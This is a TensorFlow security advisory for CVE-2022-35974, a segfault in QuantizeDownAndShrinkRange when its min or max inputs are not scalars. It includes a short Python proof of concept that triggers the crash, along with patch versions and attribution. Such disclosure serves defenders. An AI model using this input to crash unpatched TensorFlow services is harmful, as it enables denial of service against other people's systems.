Impact

If QuantizeDownAndShrinkRange is given nonscalar inputs for input_min or input_max, it results in a segfault that can be used to trigger a denial of service attack.

import tensorflow as tf

out_type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input_min = tf.constant([], shape=[0], dtype=tf.float32)
input_max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw_ops.QuantizeDownAndShrinkRange(input=input, input_min=input_min, input_max=input_max, out_type=out_type)

Patches

We have patched the issue in GitHub commit 73ad1815ebcfeb7c051f9c2f7ab5024380ca8613.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

References

• GHSA-vgvh-2pf4-jr2x
• tensorflow/tensorflow@73ad181
• https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
• https://nvd.nist.gov/vuln/detail/CVE-2022-35974